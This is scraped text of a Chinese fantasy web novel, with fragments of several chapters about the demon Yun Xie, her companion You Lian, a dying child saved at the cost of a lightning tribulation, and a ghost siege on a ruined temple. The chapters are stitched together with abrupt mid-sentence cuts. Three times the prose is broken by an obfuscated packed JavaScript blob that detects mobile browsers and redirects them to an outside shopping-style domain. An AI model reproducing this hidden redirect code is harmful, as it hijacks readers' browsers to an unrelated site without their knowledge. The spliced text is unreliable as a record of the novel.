云歇哪里会扯自己头上,反问:“将军若是不想数,为何死了几百年还要守在故国?是觉得站高点风景好看吗?” 能有什么风景可看,处处残垣断壁,睹物伤情罢了。云歇这话无疑是火上浇油。 两位一来一回吵得不可开交,吵得还很有礼貌,只是,对面那位身上战意不减反而越发汹涌。 见状,游莲忍不住插嘴:“当家的,你确定你是不想打了吗?” “废话。”云歇头也不回。 游莲忍不住又道:“那你还是少说话为妙。” “关你什么事。” 简直卸磨杀驴,游莲举手找存在感:“那我刚刚受的伤又算什么?” “算你倒霉。” 游莲:“……” 更郁闷的是,人从头到尾连余光都没分给他一点。 身后安静下来,而对面似乎也看出云歇用意,漆黑手甲紧裹的长指敲了敲剑柄,道:“你想超度我?” 云歇不否认:“不也是为你省力吗?” “你觉得你能渡我?” “不试一试,怎么知道。” “笑话。”她蓦地仰天大笑一声,霍然拔剑,横剑于前,漆黑手甲缓缓抚过,声也慢,“天地不悲怯懦,我方可渡我。” 这就是谈不拢了。 云歇早有预料。眼前这位已不是简单的凶煞可以概括,生平杀业命债为鬼路锦上添花,遑论又是在不渡域此等风水宝地。 这位不被阴煞侵蚀,沦为杀人不眨眼的魔头,意志力已然是超乎寻常的强悍。还能有理有据地和她争论要不要打架,简直是旷世奇观。 乃云歇生平仅见。 三言两语谈什么超度,天崩地裂才可叫顽石开窍。 一点剑芒隔空指进云歇眼瞳,她心想,一场恶战在所难免。就是不知道身后人跑得够不够快。 然后,她无端端想起些不相关的:似乎少了点什么,是不是还有团黑乎乎毛茸茸的…… 正这时,一阵吱哇怪叫突起。 云歇心上笃的一声,回头就见旺财抱着狗崽子快步奔上石阶,边跑边喊:“我就说、我就说上面有很凶的鬼!你们一个两个还抢着上来!是嫌命太长哇呀呀——果然碰到了,愣着干嘛,还不快跑!” 话音未落,他把手上东西当武器向前一抛,嘶声大喊:“快跑——我和大黑殿后——” 他竟然把狗崽子丢了出去。 游莲:“……” 云歇:“……” 定定看狗爪扑到眼前的持剑人:“……” 狗崽子嗷呜一声,一口叼住了那头盔上的红缨,死咬不放。 空气凝固了。 作古多年的那位该是死也没料到,有一日竟会被一只狗崽子欺到头上放肆,霎时周身杀气暴涨。一声喝骂,干脆抬手去抓。无奈重甲限制了肢体,她伸手,却怎么也够不到头顶,抓不住。 莫说是她。饶是云歇如何未卜先知,也万万想不到上一刻还称得上剑拔弩张的场面,会变得如此滑稽。 22. 见我(1) 《炉鼎的自我修养》全本免费阅读 旺财:“不走!” 游莲没好气道:“我们都追你好几条街了,够诚意了吧,还闹?” 旺财脸上一缓,小小声哼哼唧唧:“明明就可以跟上次一样绑了就跑,偏偏要拿脚追,追个屁,还说诚意……” 云歇面色奇怪:“你喜欢这一种?” “谁喜欢了?谁要喜欢被绑啊?你把我当成什么了?”他气冲冲,嫌人话难说影响发挥,干脆大声汪汪汪,“你们追一半又不追,抱着大黑就跑了,还要我自己追上来。我就知道你们嫌我吃太多,就是要找机会丢掉我,是不是?是不是?被我发现还不承认,回答我啊,怎么不说话了——” 游莲诚恳道:“听不懂。” 旺财:“……” 汪汪汪是门学问,可惜的是,学问太高深,在场唯二能说人话的谁也没学过。 旺财更气了,深吸一口,眼见他又要汪出一长串,云歇耐心告罄,伸手绑住他。 世界清静了。 走下城楼,安静片刻的旺财嘟囔得越来越大声:“……还说什么抵过,明明是她自己打不过就跑,说的好像是她放过我们一样,好不要脸!” 游莲说:“你要脸,刚刚在上面怎么不说大声点,当着面骂多爽快。现在背着人说可委屈你了。” 投到街上的几道身影长短不一,渐行渐远,当中一道最矮的一下蹦起半天高。 “好哇你、你你,我还没跟你算扯后腿的账呢!老子冲在前面打架,你净在后面扯老子后腿,还揪掉我尾巴毛,疼死老子了!你还有脸说我!” “汪汪汪汪哼哼汪!” “别张口闭口老子老子的,整天出去丢脸。” “我就说我就说,老子爱说什么说什么,当家的都没嫌我,你瞎咧咧什么?” “汪哼哼汪汪汪!” “当家的?你喊谁当家的?” “你自己天天喊,难道还不准我喊吗,真是岂有此理!略略略我就喊我就喊,当家的当家的——哇,你打我你又打我,看我咬不死……哇呜呜哇哇——当家的他又打我——” 云歇:“都给我闭嘴。” * 一回院,游莲就被云歇提溜去了主屋。 是提溜吧?旺财想,虽然被提溜的人身条长些,可,的的确确是被拽着领子拖进门去的。 天道好轮回! 虽然,被拖的那位看起来半点不怕,还满脸笑。 门被推开又合上,须臾之间,游莲被人拿住脖子,大力按上门板。 那只手生得五指细而长,手背微微绷起骨线青筋,似乎,扫一下琴都会被弦割破皮。松松扣在他脖子上,却蕴着千钧之力,挣也挣不得。 手的主人在咫尺间逼视他,道:“来吧,说说你到底是谁。” 没点灯,屋里暗着,只有透过一个个门洞镂刻投进的月光,落在她脸上,映入他眼中。 光与暗在他脸上划出一线阴阳,左眼被月光稀释成琉璃色,微微瞠大,显得无辜。他先是惊讶,继而微微垂眸,无奈道:“当家的,认识好些天了,你还不记得我的名字吗?真是伤人心——” 扣在脖子上的手一下收紧,按着他往门板一撞。后脑勺撞上门板,嘭的一声,磕得他话声连同呼吸断在喉口。 没等游莲把这口气磕绊呛出来,寒烟般的气息落在耳畔:“少装蒜。” 今天实在是平常的一天。不过是当了一回仙家中人,拜见了一下主人家,买完东西上城楼看了一会儿风景,顺便打了一架。 仅此而已。 凡事对云歇而言,皆是数百年如一日的过眼云烟,蜻蜓点水的涟漪,尚且要比落在她心上的痕迹深刻。 得过且过,过不了,拐着弯过,反正呆不长久。偶然来了个糖汁包毒药的家伙,硬黏上来,放在身边逗逗趣热闹热闹,也无不可。 但他最好把谎言编造得严严实实天衣无缝,不要有露出狐狸尾巴的一日。如果有,就会是现在这般模样。 露出狐狸尾巴的那位好似还云里雾里,抬手,故技重施露出掌心,万分无辜道:“当家的,我还伤着呢,这总不是装的吧。” 云歇目光下移,看到他潦草包扎的手。 游莲垂着眼轻轻一叹,又补一句:“好疼。” 刚伤到流血,晾进凉风那么久,抓狗尾巴扯狗腿的,没见他喊半句,现在倒是装上了。 这么一看,云歇想起他是怎么伤的。 他掌心捆着条帕子,雪白的帕子被鲜血浸透,红得要往下滴。 云歇一手控住他脖子,一手拿他手腕,举到眼前打量,“不自量力,不是好孩子该做的事情。” “孩子?”游莲一扯嘴角,手掌一翻,反扣住她五指。 他掌心湿透,猝不及防,血带着粘腻湿温裹了云歇一手。像摸到刚蜕皮的蛇,又像伸进剖开的腹腔,谈不上恶心,温暖炙热到十分怪异,令云歇措手不及。而对方一抓即放,再要抓住问罪,只抓到凉风。 那厮有恃无恐般,冲云歇轻眨下眼,“好孩子的手比你大呢,当家的。” 他还敢眨眼,他竟还敢眨眼。 云歇按捺力气没将他脖子当场拧断,“是嫌自己死得不够快?” “嫌不嫌的,我又做不了主。”呼吸受迫的血色从脖子根涨起来,他唇边还挂着粒梨涡,“要不我蹲下来,免得你累手?” 怎么形容这种感觉呢?像是一拳打在棉花上,打了一边,对面还笑眯眯地凑过另外一边来给你打。 云歇不喜欢这种感觉。 明明是她掌控着他,手下掐住的喉腔因为压迫而颤抖起来。太过细微,只有贴着肉攥紧骨才能发现。呼吸都喘不上,他竟还有余力与她对峙。唇角弯的笑,眼尾流的光,切切都说他不在意。 是的,不在意。不在意被她弄死。或者说,笃定不会被她弄死。死不是前提,那么任何施加的手段都只是恫吓罢了。而恫吓对他,显然不够。 至于为什么笃定,善于伪装的人,察言观色同样无往不利。 这种人,扒他张皮下来都不一定会求饶。遇见这种人,就应该把他——把他—— 云歇没遇过这种人。 啧。 云歇松开了手。 她的确不会。就如她不会跟城楼那位打架一样,在意识到某一种僵持毫无意义,没有结果,继续只会浪费时间。 云歇走到窗边去推窗。 背倚门板的人静默在黑暗中,少顷,伸手摸了摸浮起指痕的脖子。 月光洒进,游莲指尖挤开条领缝,撩眼往窗边看。 窗边人用后脑勺示人。 游莲走到桌边,往灯笼里安新蜡烛点上——没错,原来小院子的灯笼被他一起带了过来。提起灯笼照了照,没找到要的东西,他转身出门。 门一响,梧桐树下叠来咬去的两只齐刷刷抬脑袋。 见着人没缺手短腿,旺财觉得好可惜。 游莲从水缸舀水,推开凑过来的狗脑袋:“离我远点。” “谁稀罕。”旺财被他满身血腥味熏得慌,“当家的是不是嫌你臭,把你赶出来了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802656|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出指缝。蓦地,孩子惨白的身躯一下剧烈弹动,肺腔杂声阵阵,一张口,大股的血往外涌。随着这一下,掌心下压着的脉动骤然变弱。 血止不住,倒流肺腔,她要被活活呛死了。 云歇手上施力,头也不回道:“游莲,把扶桑留的东西拿出来。” 扶桑临走前,不放心她家花钱不眨眼、掉了不会捡的主上,将钱袋子寄在游莲扳指中。同钱袋子一起的,还有几瓶颜色各异的丹药。 几瓶丹药,无论拿出哪一颗放去外面,皆是千金难求。外头传成起死人肉白骨的风言,实际效果,相差不远。非到万不得已,云歇不想用这些,人妖有别,种种皆是殊途。 此时此刻,却顾不了那么多。 撬开孩子紧咬的齿关,红色丹药塞进去,瞬息化作一道光芒流进咽喉,穿进肺腑。两粒下去,痉挛不休的小小身躯渐渐止住,掌心下虚弱的脉搏开始鼓动,血流减缓。 云歇又拿一颗大些的黑色丸子置于她舌上,顷刻之间,孩子痛苦狰狞的表情平缓下来,脸上骇然的青白褪下一些。甚至可以称上恬静了。 就像是,生生拽住她一脚迈进鬼域的魂魄。 忽然,云歇身侧阴影一重,脸上一凉,被湿润柔软的物什轻轻抚过。她下意识避开,对方又追过来。 游莲自始至终守在一旁,此刻过来,拿着帕子,将她脸上不慎沾上的血迹一点一点擦去。他低眸一扫,道:“这是?” 云歇缓缓松开手,低眼,发觉满手殷红:“吊住她的魂魄,多一点时间修复身体。” 人言道,阎王要你三更死,谁敢留你到五更。这小娃娃死期已至,区区几颗丹药,不能与阴曹勾魂相抗衡,只是在阎罗王落下大斗笔之前,争得一刻是一刻。 余下的,全交给命数。 小娃娃年龄比崔朝归还小得多。人命,从无谁活得久活够该死,谁年幼谁不该死的说法。论起来,生死从不由己。 死气在这张稚嫩小脸上腾起又褪下,斗争无休,随时要将她再扯入地狱。与之截然相反的是,她背后无数根命线。 这些命线是那样的熠熠生辉,毫无濒死之人的黯淡无光,即便在昏暗中,仍然明亮、顺长。正应了初见时,她说与妇人听的,有劫难,命线长,一生平安顺遂。 云歇这几日打太多诳语,这一句绝不是。 还有就是,这小娃娃的娘亲。 云歇转身出去,将院前院落翻了个遍,险些拆掉屋顶墙壁,还是游莲拦下来,仍然找不到。不说尸身,丁点痕迹也没有。而残留的那点子陌生的凶戾妖气,已窜出百里之外。 “不若去问一问周围的人家,看看是发生——”话说一半,游莲停下来。 莫说小娃娃遭难许久无人过问,就方才他们翻找的动静亦算不得小。周围人家虽是离得远,但一点声响听不到是不可能的。遑论此时白日天黑,乌云雷鸣,更没有人推门出来看一看。不仅没有,十来户人家寂静无声,静得像是里头人根本不在,或是早已死绝。 明哲保身,不多管闲事。你说他们有错吗?只是,在这世道只有这样、只能这样,才能活得更久一些罢了。 再回到床前,云歇心里那点笃定,前所未有地开始动摇起来。 47. 缘劫(5) 小娃娃的呼吸太轻了。 缓和不过片刻的小脸又爬上青白,丹药效力有限,有限至此,实是出乎云歇意料。 仿佛刚才好转只是一场诳人的回光返照。 再喂进两粒丹药,静待几息。这回,死气分毫不退,从小娃娃脖根继续蔓上,狠狠勒住细得可怜的咽喉。 游莲探手把脉,少顷,朝云歇摇头:“太晚了。” 云歇神色不变,已有所料。 太弱小,伤太重,流太多血,耽搁太久。任凭有大罗神仙,天材地宝,皆是药石罔效,徒劳无功。 如果,如果昨夜没有在蜃楼徒等一宿,今早没有兜圈子浪费时间。如果,如果二人早上一时半刻踏进这里,此时情景会不会大大不同。 如果。 烛火暗摇,屋里大片黑暗围拱住一方床。云歇不由自主地,目光从小娃娃起伏越来越薄长的胸腔,看去她身后无数指向虚空的长线,只剩一个念头不断回响。 如果一切都是太晚,那么,她说与妇人听的那句话又算什么? 惊雷乍现,回荡在恍若鬼影峙立的山壑丘谷之间。亮光自高高窄窄的小窗投进,嘲笑着屋中人坐井观天、窥泄玄机的自大。 一声又一声,震耳欲聋。 手上蓦地一暖。云歇一怔,低头,与游莲目光撞上。他掌心好暖好热,十分有力,刻不容缓地,不由分说地将云歇着了魔似的呓语不断的心神强拽回来。 逆着光,游莲表情不如何清晰,大片的阴影落在发上侧脸,双眸明亮,注视云歇,道:“你的手很冷。” 不仅冷,血液干涸在手上湿黏不堪,换作平时,云歇在碰到瞬间就会隔开屏障,根本不会沾上。 被他一握,云歇反应过来。 杂念太多,归根究底,是脱离掌控的无力,袭击了她。无力之下,更多更复杂的情绪,暂时无暇一一理清。 还有似曾相识的惊悸。仿佛,曾有更无力、几近绝望的境地摆在眼前。然而怎么可能。数百年间,只今日一回已叫她心生茫然,何谈其它,不愿深想。 云歇在游莲握紧的手掌中躲了一会儿。只是一会儿,炽热将常年冰冷的指尖捂暖了。她坐上床头,手往小娃娃背后探去。 就当是,为自己此次失算找一找原因。以后若再见到那妇人,好给她一个交代。 * 是女孩濒死前见到的最后一幕。 很平常的一个黄昏,残阳如血。该是云歇和扶桑离开后的第二天,在昨天。 女孩正在踢毽子。扶桑捡了鸡窝里几根鸡毛扎的,安上几张薄木片做的毽子,正在低矮的视角里一上一下,雀跃地跳跃着。 视角的主人被这个新奇的小玩意夺去所有注意力。妇人笑骂着点了点她的脑袋,转身去碾麦子。碾坨子咕噜咕噜地转出长段杂声,和云歇前日听到的一样,规律,枯燥,安逸。 忽然,笃笃几声,打断这方安逸。院门被敲响了。妇人停下活计,往外看了一眼,表情一下变化。她脸上有肉眼可见的犹豫恐惧,仍是走过去,与敲门的说了几句话。沉默一会儿,吱呀一声,门打开了。 毽子仍在专心致志地跳跃,这些声音在当时并不被注意,只有耳朵听到,诚实地记录在记忆中。 直到余光飘进一片带血的白衣裳,一种突如其来的悚然感从脚底爬起,摄住目击者。女孩的视角太低,仰断脖子也只能看到一大片白衣,上面一大块一大块鲜红的血,像浇灌盛放的花朵。 看到这里,云歇便知道,这是一只妖鬼。 妖死后滞留人间的鬼,比寻常妖怪阴邪数倍,永远干涸灼烧的喉咙驱使着她飘荡在不渡域周围,刚刚屠杀一场饮完血。 陌生女人的声音。细细尖尖,似笑似哭。 说她如何如何可怜,遇上仇家,亲人死光,剩她一个。 妇人听着听着,原还很有戒备的表情渐渐放松,红着眼眶安慰,转身去倒热水,想给可怜的客人暖一暖身。 女孩背上不曾消退的战栗在妇人转身时攀上了顶峰。她张开嘴,想叫出什么。下一刻,妇人转过来,一只利爪扎进她的脸,血喷出来。 太恐怖了。 女孩一直尖叫,看到的画面山崩一般碎裂坍塌。 最后一幕,一张惨白的脸逼近眼前,近到,看清那只瞳仁中央爬向四周的蛛丝般的血红。 * 云歇放下手。 她不言不语,陷入某一种虚无缥缈,呼吸声都轻了。有人握住她肩头,轻轻摇了一摇,低低唤:“云歇。” 云歇抬眸,良久,肩上安抚的力道轻轻、些微颤抖收紧,她道:“是我错了。” “怎么会,怎么会是你的错呢?”游莲声音愈加放缓,蹲下身仰眸看她,“你无法预料到所有事情,这是一次意外。” “不,”云歇道,“一开始就错了。” 云歇看到女孩的命线顺长,自然也看到妇人灵台黯淡,命不久矣。或许,云歇可以救她。但,生死有命,何必插手。不该插手。 风起于青萍之末,浪成于微澜之间。 因果变数,差之毫厘,谬以千里。 自我劝解至此,今天仍第三次踏进来。 寻机为妇人破解一二也好,行善积德也好。小娃娃那么小,没了娘亲如何平安顺遂。岂非还是诳语,又是诳语。 可,云歇千算万算,没有算到会这么快。 妖魔鬼怪横行世上,祖辈扎根于不渡域的人们,惧怕刻进骨髓,避之唯恐不及。妇人原本该如往常、如她前数十年做过的一样,漠视伪装的妖鬼,任她敲门无果离去。门前有云歇留下的警戒,妖鬼硬闯不进。 然而妇人开了门。 因为妖鬼敲门时说的一句:“你院里的味道好熟悉,像是我的朋友们来过。” 因为在前不久,妇人迎过另外两个妖怪进门做客。根深蒂固的观念出现差错,妖怪并不都是杀人吃人的。妖怪会笑会说话,还会切西瓜扎毽子哄她的女儿。 或者是更久以前,一个妖怪迷路,随意敲开一扇门问路的时候,就种下了因。 竟会如此。竟会如此。 为什么? 为什么她越是袖手旁观,越是想互不相欠,越是将无辜人卷入其中。哪里错了?究竟是哪里错了? 动念的一瞬间,毫无征兆,一道巨雷劈响在头顶,比前面几道加起来还要响,脚下的茅草屋似乎跟着狠狠震颤了一下。原该是无雨无风的晴夜,乌云狂聚之后,惊雷一声,又一声,暴烈地欲将穹顶劈开。 雷云盘旋着,咆哮着,恫吓着,一切胆敢蔑视乾坤、动摇天道的妄念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840778|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未及动作,手腕一紧,被人一把狠狠攥住。 是游莲,他抓着云歇手腕,沉声道:“你要做什么。” 云歇不妨这一抓,掌中腾起的火焰却是没散,转头看他慌忙又急切的神情,突然觉得有几分好笑。 这人总是这样,明明什么都知道,什么都猜出来了,仍要问。好似问出来的这一点工夫,便能使人犹疑,继而放弃不可为之事。 不可能的,云歇一经决定的事情,决不更改:“我看见她的命数,她命不该绝。” “既是命不该绝,何须你来救。”游莲不仅不放,用力更重,“人各有命,前几天你才告诉我,现在就忘了。几百年,四百年,你看得还不够清楚吗?” 他着急地要将云歇拽开床前,仿佛那是一个沾上便万劫不复的祸害。云歇不与他争,看胡闹的孩子一样看他,平静道:“游莲,有没有可能,这注定是我的劫数。不然,何以我今天会来到这里?” 游莲张口,无声片刻,再开口,声音已经沙哑了:“那你呢?你会怎么样?” 云歇微微一笑:“一重雷劫,和两重雷劫,又有什么区别。” “不要这样。不要这样……” 云歇袖子一甩,将桎梏推出。另一手掐诀一划,分明无刃在手,食指与中指的指腹无端裂开一道血线,随即按去小娃娃额心灵台。 骤然,狂风大作。 俗物自无法与阴曹对抗。崔朝归寿数已尽,猫妖以命换命,难遂其愿。但以历劫问神的大妖心头血,留住生死簿上还未黯淡的一个姓名。争上一争,又有何妨? 小娃娃将将吐出最后一口呼吸,胸腔塌陷,口鼻窒停,倏而,猛一急喘,如从溺毙深潭中挣脱。 雷鸣响彻天地,降临极近处。 与此同时,又一面虚空之镜在云歇背后打开。虚空中,呈出月光静谧,风淌过无垠沙漠,流沙缓缓鼓成丘、塌成壑。数百里外的又一处荒漠,赫然是两个天地。 万顷雷劫之下,戈壁也要夷为平地,何况这些茅草扎的院舍。 她要一人将雷劫引开! 游莲将将稳住身形,抬头便见这幕,还有什么不清楚的,目呲欲裂,身形一闪,用尽全力,伸手抓向她。 发衣狂荡,搅成漩涡,她站在现实与虚空的临界线,抬眸看过来。 在这一瞬间,耀眼白光与雷声悍然炸开,目之所及,尽被吞噬。 近在咫尺,手指分明拽住了什么,但那牵扯转瞬即逝。 满目不可见的焦灼与茫然中,游莲身心跟随这一下失重,犹如跌落万丈悬崖。 不过一息,黑暗重回,床头一盏烛火。 茅草屋匍匐戈壁滩间,沉寂如常。薄木板上,小娃娃呼吸缓缓,面上血色逐开死气。地底深处,勾魂索的镣铐当啷声渐行渐远。头顶上,雷云怒不可遏呼啸而去。 一切都在人间。仿佛什么也没有发生过。 双耳嗡鸣不断,眼前阴影阵阵,头痛欲裂。一时分不清身处何处。 游莲站在原地,往左右前后转着找了一圈,空空荡荡。到最后,空荡变作极尖锐的锋芒,刺向他。 怔怔低头。 有什么纤细而柔软的丝状物纠缠在他指间。是方才已经抓住她、到底没能抓住的证据。 一根黑色发带。 48. 缘劫(6) 深夜孤支的破庙外,陡然起了阵狂风。 庙里,阿笙正往墙缝塞稻草,免得风进来吹灭火堆。忽然他咦一声,眼睛往堵了一半的破洞上贴,看见从远处滚来的雾气,一会儿功夫,就把庙围了。雾好浓,滚得好快,越滚越浓。 雾这样浓,而东南方向遥远的那一片天,仍可见狰狞龟裂的电纹爬满天际。 “这鬼天气,怕不是哪位道友在此历劫。”做鬼本鬼嘟嘟囔囔,把最后一个破洞眼堵上,转头说,“老板,外头雾好大,要不我趁现在再去捡些柴火,免得再晚点看不清。” 神台下围起一堆火,旺财大黑挤在火堆旁边睡了,狗叠狗地翻肚皮打着小呼噜。一瞧就是被人养废了,换作在不渡域敢这么谁,明早起来只能找到一地骨头狗皮。 狗旁边,躺着个小娃娃。 游莲送过来的。 数百里急行,内息动荡,他落地即吐出一口血,浑然不顾,抬手递过来一个黑布蒙着的胖箩筐。 印象之中,寸步不离云歇身旁的这个后生,总是笑吟吟的,一脸打不还手骂不还口的明知故犯。此时却是半点熟悉模样不见。 他神情极其冷漠,目光极其厌恶,盯了胖箩筐一眼,说了声劳驾,转身走了。 阿笙连忙拎起防身的扫把追出去,和庙外浓起来的雾气迎面撞了个满怀满脸,睁眼再看,哪里见着什么人影。 只得回头进门,和箩筐里冒出头的娃娃大眼瞪小眼。 夭寿喔,哪个缺大德的把好好的女娃娃塞箩筐里。 没有谁能回答这个问题,下一刻,女娃娃眼一闭,又晕了过去。 然后就到了现在。 “雾?”眉是青正往火堆里添干柴,闻言上前揪掉草,不管阿笙在旁边诶诶诶抗议,往洞口一看。 一片白茫茫。 这时,旺财耳朵一动,狗头抬起,机警左右四转,最后龇牙看去门口方向。 狗咆闷在喉口还未啸出,阿笙忽然惊叫出声:“啊……” 他喊到一半,瑟瑟抬手捂住嘴,说:“老板,好、好多……” 后半截话无需说出来,因为眉是青也看到了。 茫茫白雾中突然出现许多黑影,影影绰绰,似人非人。 不渡域鬼比人多。换句话说,走在荒郊野外,倘若遇到人模人样的东西向你招手,最好转身就跑。因为你根本不知道,遇见的究竟是人是鬼。 而眼前这些逐渐走近的——用走形容或许不确切,应该是飘。转眼间,数道黑影从远处飘到十丈开外,行得比雾气还快。白雾最前端,赫然破出几张青面獠牙。 无数双血红的贪婪的眼,看见的看不见的,全朝这里注视,全朝这里逼近。 全是鬼,个个喊着饿、好饿,饥渴难耐。 旺财弓背刨地,紧紧盯住门。门合不严,勉强用两根棍子撑着挡风。眉是青与阿笙不约而同退离开墙边,退往神台,神色警戒。 鬼魂行走向来哪里有肉往哪里叼,四处分散,鲜少聚集,眉是青从未见过这样多的。怕是满不渡域倾巢出动,此情此景,就像是—— 想到此节,眉是青猛然回头,目光一定,定去篝火旁合眼昏迷的女娃娃。稚嫩脸上,额心一点朱砂鲜红欲滴。 阿笙被她动作脸色唬住,什么也不敢问。 “……像是被什么东西吸引过来。”眉是青喃喃自语。 来不及多想,破庙门纸糊一样,待下去便是坐以待毙。她推门而出。抬眼所见,到处都是惨惨白雾,憧憧鬼影。 风卷着雾卷着黑影,从四面八方围近破庙。鬼哭尖嚎潮水一般淹了过来。 眉是青抬手甩出一张符篆,符篆飞上半空,无火自燃。瞬时间,以破庙为中心的方圆五丈撑开一道无形结界,将扑上来的鬼影全数挡住。 那张符篆一甩出去,眉是青便是一阵肉痛。 那玩意儿贵啊,薄薄一张纸画几笔墨水就敢要价十块灵石,一块灵石抵十金,买百来张也没打个折,气得眉是青骂了那卖符篆的道士整三天三夜——做生意做到这份儿上,算是做到头了! 鬼影一碰到阻碍就叠着往上爬,整个碗形的透明结界不肖片刻,便爬满大大小小的鬼影,乌云似地一层压过一层,压得密不透风。 不好。眉是青心下一惊,果然就听结界咔嚓一声,裂了。她再顾不上肉痛,又甩出一张符篆,一张又一张,不要钱似地烧成灰。 鬼影只多不少,符篆结界跟泥牛入海似的一次又一次被撕碎。 随着口袋越来越空,眉是青心下越来越凉。陡然间,死角缝隙飞出一条白影,直掠面门。眉是青一心往泥海里填结界,哪里顾得上犄角旮旯,就听身后撕心裂肺一声“老板——”,未及回头,破风声凉到后脑勺。 一声咆哮,丈长的矫健黄影从头顶一跃而过。 只听重物砸地利齿撕咬,眉是青忙忙又补一道缝隙,回头便见狗嘴鬼爪撕扯成一团。不肖片刻,伴随惨嘶,鬼影灰飞烟灭。旺财看她一眼,随即一甩头,凌空咬住又一只破开结界的鬼。 手上余下符篆全数甩出,眉是青在阿笙挥着扫把掩护下退回破庙中。旺财跟进来,身上抓痕斑斑,滴滴答答血滴了一地。大黑着急跑上前,哼唧打转。 符篆有限,结界撑不了多久。 阿笙的天塌了,脸白了:“怎么回事……” 眉是青冷脸站在阴影下,看去火堆,道:“幼童之身却灌入妖王之血,奄奄一息躺在这破庙里,香得喷鼻,十里外都能熏到你头晕!全天下哪还有比这更好拿更补身体的十全大补汤?弄不好咬口肉就能长百年修为,再咬一口又是百年,你说他们来不来抢?来不来抢!” 谁不来咬上一口定要半夜惊醒扼腕,何况这些饿极了馋极了的孤魂野鬼。 而身处的破庙支着个空架子,狂风中摇摇欲坠,一推就倒。 简直唾手可及。 天杀的破庙有机缘。 阿笙吓得整个鬼都在抖:“那那那,那怎么办?” “怎么办?你问我怎么办?”眉是青咬牙切齿,“能打的一个个都跑了,丢这么大个烂摊子,只留下我一个拨算盘的,还有你这个尽拖后腿的!我眉是青是虚长百岁,我只想着赚多点钱舒舒服服过日子,费劳什子精力去打打杀杀!谁曾想还能撞上这么一天。” “老板,我的好老板。”阿笙简直要跪下来求她了,“我求你可别叨叨了,赶紧想想怎么办吧呜呜呜——” “怎么办。”眉是青霎时冷静下来,目光落去火堆旁的女娃娃,“把她丢出去。” 阿笙:“哈?” “无亲无故,无缘无份。”眉是青一步步走近火堆,火光蒙到面上,半明半暗,“那位尊贵无比的丹洗妖王还借过我一盘金元宝呢,是她欠我,不是我欠她!恩情账目没算清,凭什么还要我替她卖命?我一亏再亏,天底下就没有做成这样的生意。” 阿笙连忙去拽他家吓疯了的老板,拽不住,反倒被拖在地上走,不住哀嚎:“老板老板老板,三思啊——若是那位知道我们做的事,一定不会放过我们的,到时追杀我们到天涯海角五马分尸,呜——呜呜我已经死过一回,不想再死得那么惨啊——” 眉是青停住了。 阿笙泪眼朦胧看见一丝希望:“老、老板?” 眉是青低头,看傻子一样地看他:“阿笙,如果不把这灾星扔出去,我们今晚就死了,哪还有跑到天涯海角的活命机会?” 阿笙打出个哭嗝,吓懵了:“……” “而且,”眉是青转过头去,“今晚有这么多来抢人的,我们哪里打得过?所以,究竟是我们把人扔出去,还是拼命到最后打不过被抢出去,又有谁能知道呢?只有天知地知你知我知,阿笙,你知道了吗?” 她的语气好阴森,好似阿笙不知道,下一刻就要连他一起灭口了。阿笙忙不迭点头,点得脑袋都要掉:“我我我、我知道,我知道知道的……” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903125|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽人袖子的手力气用光了,再拽不住,眼睁睁看眉是青走到火堆旁。 火焰一晃,有什么挡到女娃娃前,不让眉是青靠近一步。旺财齿间滴下黑黑红红不知是谁的血,拦路寸步不让。没腿高的小黑狗跟着龇牙。 眉是青一愣:“我倒是忘了,你还记着你家主人的味道。” 一人两狗对峙半响。 最终,面色戾气一消,眉是青往地上一坐,摆手道:“算了算了,一起死了算了。反正老娘该享的福都享过了。” 结界不间断地发出墙崩地裂的声响,承重柱从下至上崩出裂纹。 旺财张了张口,发出还有些稚嫩的少年声:“一会儿结界破,我去引开。你们抓紧时间跑。” 眉是青诧异将狗前后转过一圈,说:“你还会说话?” 旺财低吠一声:“废话少说。” 他说完就往门口迈,没两步却被人一把提起脖子,眉是青道:“算了,你刚刚救我一回,万一你死了还没拦住,又把我连累死。我报恩没处报,下去阎罗还要找我算账,我多亏,不如现在算清。” 说罢,她将强行站稳的狗往阿笙那边一推,大义凛然道:“我去。” 站出门去,眉是青就后悔了。 他大爷的,不渡域里该空了吧?你们就这么饿吗? 别说东南西北了,天上全趴满,一点月光渗不进,密密麻麻的饥渴血红的眼睛,全数射过来。 大话已经说出去了,还能怎么着。 结界一声哀鸣,彻底粉碎。 屏障一去,鬼影涌作遮天蔽日的黑色浪潮,直扑而来。 无数鬼爪狰狞撞入眉是青眼中,她拦在门前,身后是亟待被大浪夷为平地的破庙,退无可退。 符篆不要钱似的乱丢一通,雷电火光满天噼里啪啦击退一片,眉是青隔空抽出一道长鞭。 